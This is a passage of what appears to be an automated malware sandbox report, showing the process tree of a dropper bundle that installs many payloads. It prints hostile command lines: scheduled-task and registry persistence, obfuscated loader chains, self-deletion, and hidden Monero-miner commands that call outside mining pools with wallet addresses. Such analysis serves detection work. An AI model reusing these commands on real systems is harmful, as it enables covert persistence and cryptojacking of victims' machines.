        Delays execution with timeout.exe
        
        PID:7804
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Fri19d30056588.exe
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1788
      - C:\Users\Admin\AppData\Local\Temp\7zS0EA23ED4\Fri19d30056588.exe
        
        Fri19d30056588.exe
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:4856
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c taskkill /f /im chrome.exe
        7⤵
        
        PID:5944
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im chrome.exe
        8⤵
        Kills process with taskkill
        
        PID:6248
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Fri19b9b73e83c948b1d.exe /mixone
        5⤵
        
        PID:4752
      - C:\Users\Admin\AppData\Local\Temp\7zS0EA23ED4\Fri19b9b73e83c948b1d.exe
        
        Fri19b9b73e83c948b1d.exe /mixone
        6⤵
        Executes dropped EXE
        
        PID:4820
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4820 -s 672
        7⤵
        Program crash
        Suspicious use of AdjustPrivilegeToken
        
        PID:5792
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4820 -s 680
        7⤵
        Program crash
        
        PID:5184
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4820 -s 716
        7⤵
        Program crash
        
        PID:5604
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4820 -s 880
        7⤵
        Program crash
        
        PID:5836
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4820 -s 928
        7⤵
        Program crash
        
        PID:6440
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4820 -s 1104
        7⤵
        Suspicious use of NtCreateProcessExOtherParentProcess
        Program crash
        
        PID:6812
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Fri1921f7a9d3.exe
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4840
      - C:\Users\Admin\AppData\Local\Temp\7zS0EA23ED4\Fri1921f7a9d3.exe
        
        Fri1921f7a9d3.exe
        6⤵
        Executes dropped EXE
        
        PID:4832
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Fri192f077acf656dd.exe
        5⤵
        
        PID:4884
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Fri19ca03f05489b.exe
        5⤵
        
        PID:524
      - C:\Users\Admin\AppData\Local\Temp\7zS0EA23ED4\Fri19ca03f05489b.exe
        
        Fri19ca03f05489b.exe
        6⤵
        Executes dropped EXE
        
        PID:5088
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Fri19927b4fe38a9d1.exe
        5⤵
        
        PID:804
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Fri19870e2febf5544.exe
        5⤵
        
        PID:4944
- C:\Users\Admin\AppData\Local\Temp\3B46.exe
  C:\Users\Admin\AppData\Local\Temp\3B46.exe
  2⤵
  PID:4076
- C:\Users\Admin\AppData\Local\Temp\10D7.exe
  C:\Users\Admin\AppData\Local\Temp\10D7.exe
  2⤵
  PID:7232

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Browser
1⤵
PID:2788

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s WpnService
1⤵
PID:2692

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
1⤵
PID:2680

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
1⤵
PID:2436

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
1⤵
PID:2408

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
1⤵
PID:1860

C:\Users\Admin\AppData\Local\Temp\7zS0EA23ED4\Fri19870e2febf5544.exe
Fri19870e2febf5544.exe
1⤵
- Executes dropped EXE
PID:1012

C:\Users\Admin\AppData\Local\Temp\7zS0EA23ED4\Fri19927b4fe38a9d1.exe
Fri19927b4fe38a9d1.exe
1⤵
- Executes dropped EXE
PID:4672

C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe
"C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"
1⤵
- Executes dropped EXE
PID:2728
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
  2⤵
  PID:1284
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
    3⤵
    - Creates scheduled task(s)
    PID:6704
- C:\Users\Admin\AppData\Roaming\services64.exe
  "C:\Users\Admin\AppData\Roaming\services64.exe"
  2⤵
  - Executes dropped EXE
  PID:6484
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
    3⤵
    PID:2100
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
      4⤵
      Creates scheduled task(s)
      PID:6876
- - C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
    3⤵
    PID:6280
- - C:\Windows\explorer.exe
    C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth
    3⤵
    PID:1656

C:\Users\Admin\AppData\Local\Temp\1.exe
"C:\Users\Admin\AppData\Local\Temp\1.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4216
- C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
  "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
  2⤵
  - Executes dropped EXE
  PID:5248

C:\Users\Admin\AppData\Local\Temp\3.exe
"C:\Users\Admin\AppData\Local\Temp\3.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4408
- C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
  "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
  2⤵
  - Executes dropped EXE
  PID:1484

C:\Users\Admin\AppData\Local\Temp\4.exe
"C:\Users\Admin\AppData\Local\Temp\4.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3300
- C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
  "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
  2⤵
  - Executes dropped EXE
  PID:5476

C:\Users\Admin\AppData\Local\Temp\2.exe
"C:\Users\Admin\AppData\Local\Temp\2.exe"
1⤵
PID:3692
- C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
  "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
  2⤵
  - Executes dropped EXE
  PID:5220

C:\Users\Admin\AppData\Local\Temp\6.exe
"C:\Users\Admin\AppData\Local\Temp\6.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4876
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -u -p 4876 -s 1540
  2⤵
  - Program crash
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5292

C:\Users\Admin\AppData\Local\Temp\7.exe
"C:\Users\Admin\AppData\Local\Temp\7.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1608
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -u -p 1608 -s 1296
  2⤵
  - Program crash
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5276

C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe
"C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2056

C:\Users\Admin\AppData\Local\Temp\5.exe
"C:\Users\Admin\AppData\Local\Temp\5.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4612
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -u -p 4612 -s 1296
  2⤵
  - Program crash
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5284

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s BITS
1⤵
- Suspicious use of SetThreadContext
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:3256
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k SystemNetworkService
  2⤵
  - Drops file in System32 directory
  - Checks processor information in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  PID:5888

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4820 -s 656
1⤵
- Drops file in Windows directory
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5236

C:\Users\Admin\AppData\Local\Temp\is-K2VN7.tmp\Setup.exe
"C:\Users\Admin\AppData\Local\Temp\is-K2VN7.tmp\Setup.exe" /Verysilent
1⤵
- Executes dropped EXE
- Checks computer location settings
- Checks whether UAC is enabled
- Drops file in Program Files directory
PID:5620
- C:\Program Files (x86)\SmartPDF\SmartPDF\Setup.exe
  "C:\Program Files (x86)\SmartPDF\SmartPDF\Setup.exe"
  2⤵
  - Executes dropped EXE
  - Checks computer location settings
  PID:6528
- - C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser144.exe
    "C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser144.exe"
    3⤵
    - Executes dropped EXE
    PID:5312
  - - C:\ProgramData\7200298.exe
      "C:\ProgramData\7200298.exe"
      4⤵
      Executes dropped EXE
      PID:6460
  - - C:\ProgramData\998460.exe
      "C:\ProgramData\998460.exe"
      4⤵
      Executes dropped EXE
      Suspicious behavior: SetClipboardViewer
      PID:6120
  - - C:\ProgramData\7200995.exe
      "C:\ProgramData\7200995.exe"
      4⤵
      Executes dropped EXE
      PID:7216
- - C:\Users\Admin\AppData\Local\Temp\Mortician.exe
    "C:\Users\Admin\AppData\Local\Temp\Mortician.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:7696
  - - C:\Windows\SysWOW64\cmd.exe
      "cmd" /c cmd < Cerchia.vsdx
      4⤵
      PID:7788
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd
        5⤵
        
        PID:7996
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /R "^JdxmflaMoKJKGKEonRKIDlCuNBztuuxobvTVXbusdtKZTUcnQFZrvdHmOhLNQgGwfAjlQJkqLaammCjTuVhBisMuOxuJLaA$" Attesa.vsdx
        6⤵
        
        PID:4804
      - C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        Impedire.exe.com I
        6⤵
        
        PID:7824
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        7⤵
        
        PID:4568
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        8⤵
        
        PID:8052
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        9⤵
        
        PID:4636
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        10⤵
        
        PID:5316
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        11⤵
        Checks SCSI registry key(s)
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        
        PID:1012
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        12⤵
        
        PID:8152
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        13⤵
        
        PID:2168
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        14⤵
        
        PID:5496
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        15⤵
        
        PID:7700
      - C:\Windows\SysWOW64\PING.EXE
        
        ping localhost
        6⤵
        Runs ping.exe
        
        PID:368
- - C:\Users\Admin\AppData\Local\Temp\foradvertising.exe
    "C:\Users\Admin\AppData\Local\Temp\foradvertising.exe" /wws1
    3⤵
    PID:6456
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c taskkill /im "foradvertising.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\foradvertising.exe" & exit
      4⤵
      PID:2060
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "foradvertising.exe" /f
        5⤵
        Kills process with taskkill
        
        PID:7620
- - C:\Users\Admin\AppData\Local\Temp\wrap 1.exe
    "C:\Users\Admin\AppData\Local\Temp\wrap 1.exe"
    3⤵
    PID:5936
- - C:\Users\Admin\AppData\Local\Temp\gdgame.exe
    "C:\Users\Admin\AppData\Local\Temp\gdgame.exe"
    3⤵
    PID:4616
  - - C:\Users\Admin\AppData\Local\Temp\gdgame.exe
      "C:\Users\Admin\AppData\Local\Temp\gdgame.exe" -a
      4⤵
      PID:5720
- - C:\Users\Admin\AppData\Local\Temp\installer.exe
    "C:\Users\Admin\AppData\Local\Temp\installer.exe" /qn CAMPAIGN="710"
    3⤵
    PID:4124
  - - C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=710 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\ EXE_CMD_LINE="/forcecleanup /wintime 1631048115 /qn CAMPAIGN=""710"" " CAMPAIGN="710"
      4⤵
      PID:5560
- - C:\Users\Admin\AppData\Local\Temp\jg6_6asg.exe
    "C:\Users\Admin\AppData\Local\Temp\jg6_6asg.exe"
    3⤵
    PID:3684
- - C:\Users\Admin\AppData\Local\Temp\IBInstaller_74449.exe
    "C:\Users\Admin\AppData\Local\Temp\IBInstaller_74449.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs74449 -token mtn1co3fo4gs5vwq -subid 721
    3⤵
    PID:5408
  - - C:\Users\Admin\AppData\Local\Temp\is-48IK0.tmp\IBInstaller_74449.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-48IK0.tmp\IBInstaller_74449.tmp" /SL5="$904B8,14736060,721408,C:\Users\Admin\AppData\Local\Temp\IBInstaller_74449.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs74449 -token mtn1co3fo4gs5vwq -subid 721
      4⤵
      PID:8184
    - - C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c expand C:\Users\Admin\AppData\Local\Temp\is-H0RTC.tmp\{app}\microsoft.cab -F:* %ProgramData%
        5⤵
        
        PID:988
      - C:\Windows\SysWOW64\expand.exe
        
        expand C:\Users\Admin\AppData\Local\Temp\is-H0RTC.tmp\{app}\microsoft.cab -F:* C:\ProgramData
        6⤵
        
        PID:2760
    - - C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "%ProgramData%\regid.1993-06.com.microsoft\svrwebui.exe" /f
        5⤵
        
        PID:6504
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "C:\ProgramData\regid.1993-06.com.microsoft\svrwebui.exe" /f
        6⤵
        
        PID:4520
    - - C:\ProgramData\regid.1993-06.com.microsoft\svrwebui.exe
        
        "C:\ProgramData\regid.1993-06.com.microsoft\svrwebui.exe"
        5⤵
        
        PID:6368
    - - C:\Users\Admin\AppData\Local\Temp\is-H0RTC.tmp\{app}\vdi_compiler.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-H0RTC.tmp\{app}\vdi_compiler"
        5⤵
        
        PID:6872
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c ping localhost -n 4 && del "C:\Users\Admin\AppData\Local\Temp\is-H0RTC.tmp\{app}\vdi_compiler.exe"
        6⤵
        
        PID:4840
        
        C:\Windows\SysWOW64\PING.EXE
        
        ping localhost -n 4
        7⤵
        Runs ping.exe
        
        PID:5532
    - - C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c start http://closerejfurk32.top/pgudonqntu/zmsaksepfx.php?xdl=mtn1co3fo4gs5vwq^&cid=74449^&param=721
        5⤵
        
        PID:4572
- - C:\Users\Admin\AppData\Local\Temp\vpn.exe
    "C:\Users\Admin\AppData\Local\Temp\vpn.exe" /silent /subid=720
    3⤵
    PID:2452
  - - C:\Users\Admin\AppData\Local\Temp\is-9ID3T.tmp\vpn.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-9ID3T.tmp\vpn.tmp" /SL5="$B04B8,15170975,270336,C:\Users\Admin\AppData\Local\Temp\vpn.exe" /silent /subid=720
      4⤵
      PID:5616
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\uninstall.bat" "
        5⤵
        
        PID:1788
      - C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exe
        
        tapinstall.exe remove tap0901
        6⤵
        
        PID:7392
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\install.bat" "
        5⤵
        
        PID:4676
      - C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exe
        
        tapinstall.exe install OemVista.inf tap0901
        6⤵
        
        PID:6228
    - - C:\Program Files (x86)\MaskVPN\mask_svc.exe
        
        "C:\Program Files (x86)\MaskVPN\mask_svc.exe" uninstall
        5⤵
        
        PID:5464
    - - C:\Program Files (x86)\MaskVPN\mask_svc.exe
        
        "C:\Program Files (x86)\MaskVPN\mask_svc.exe" install
        5⤵
        
        PID:7828
- - C:\Users\Admin\AppData\Local\Temp\Weather Installation.exe
    "C:\Users\Admin\AppData\Local\Temp\Weather Installation.exe" /quiet SILENT=1 AF=715 BF=715
    3⤵
    PID:7716
  - - C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Weather\Weather 1.0.0\install\FD7DF1F\Weather Installation.msi" /quiet SILENT=1 AF=715 BF=715 AI_SETUPEXEPATH="C:\Users\Admin\AppData\Local\Temp\Weather Installation.exe" SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1631048115 /quiet SILENT=1 AF=715 BF=715 " AF="715" AI_CONTROL_VISUAL_STYLE="16578540;16578540;14988840;12422912" BF="715"
      4⤵
      PID:6888
- C:\Program Files (x86)\SmartPDF\SmartPDF\stats.exe
  "C:\Program Files (x86)\SmartPDF\SmartPDF\stats.exe" /Verysilent
  2⤵
  - Executes dropped EXE
  PID:6576
- - C:\Users\Admin\AppData\Local\Temp\is-GDI57.tmp\stats.tmp
    "C:\Users\Admin\AppData\Local\Temp\is-GDI57.tmp\stats.tmp" /SL5="$304A8,138429,56832,C:\Program Files (x86)\SmartPDF\SmartPDF\stats.exe" /Verysilent
    3⤵
    PID:6796
  - - C:\Users\Admin\AppData\Local\Temp\is-PLLVS.tmp\Setup.exe
      "C:\Users\Admin\AppData\Local\Temp\is-PLLVS.tmp\Setup.exe" /Verysilent
      4⤵
      Executes dropped EXE
      PID:5780
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\Admin\AppData\Local\Temp\Services.exe"' & exit
        5⤵
        
        PID:784
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\Admin\AppData\Local\Temp\Services.exe"'
        6⤵
        Creates scheduled task(s)
        
        PID:7924
    - - C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        5⤵
        
        PID:6216
    - - C:\Users\Admin\AppData\Local\Temp\Services.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Services.exe"
        5⤵
        
        PID:8188
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\Admin\AppData\Local\Temp\Services.exe"' & exit
        6⤵
        
        PID:7076
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\Admin\AppData\Local\Temp\Services.exe"'
        7⤵
        Creates scheduled task(s)
        
        PID:1524
      - C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        6⤵
        
        PID:348
      - C:\Windows\System32\conhost.exe
        
        C:\Windows/System32\conhost.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-asia1.nanopool.org:14444 --user=42Lm2CeGer8hubckgimBBXhKWRnZqtLx74Ye2HcyMyikARReDxWRn15Bia1k8qgnboPNxEZJHN5HgX8eNa1EP7xeA3X8Z7s --pass= --cpu-max-threads-hint=60 --donate-level=5 --cinit-idle-wait=5 --cinit-idle-cpu=80 --cinit-stealth
        6⤵
        
        PID:7932

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:5668
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  - Loads dropped DLL
  - Suspicious use of AdjustPrivilegeToken
  PID:5700

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
- Executes dropped EXE
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:3692

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
- Modifies Internet Explorer settings
PID:5704

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:6920

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
PID:6256

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
PID:4620

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:3768

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:7588

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:4864
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 14D7238464F5A4663335B2C7B02E349A C
  2⤵
  PID:7340
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding E54BCB14A0FA53F925A4206D0899E4BD
  2⤵
  PID:7124
- - C:\Windows\SysWOW64\taskkill.exe
    "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
    3⤵
    - Kills process with taskkill
    PID:1352
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 7CAD3B8D10F730ECB953C0726F1C6607 E Global\MSI0000
  2⤵
  PID:6304
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 76A74ED6E5429AE383137700DED54E9C C
  2⤵
  PID:6592
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding C91E93DDEF9641C54D65A22268C3D578
  2⤵
  PID:5116
- - C:\Windows\SysWOW64\taskkill.exe
    "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
    3⤵
    - Kills process with taskkill
    PID:408
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding EF969625D406B72C4169CB588943583F E Global\MSI0000
  2⤵
  PID:6824
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 23AA421E5F5F76470761BD4270D4877E C
  2⤵
  PID:5244
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 8437D9C0690C787FBD793FED14838602
  2⤵
  PID:4580

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:7580

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:6028
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:7112

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
PID:6424

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
PID:7948

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:7056

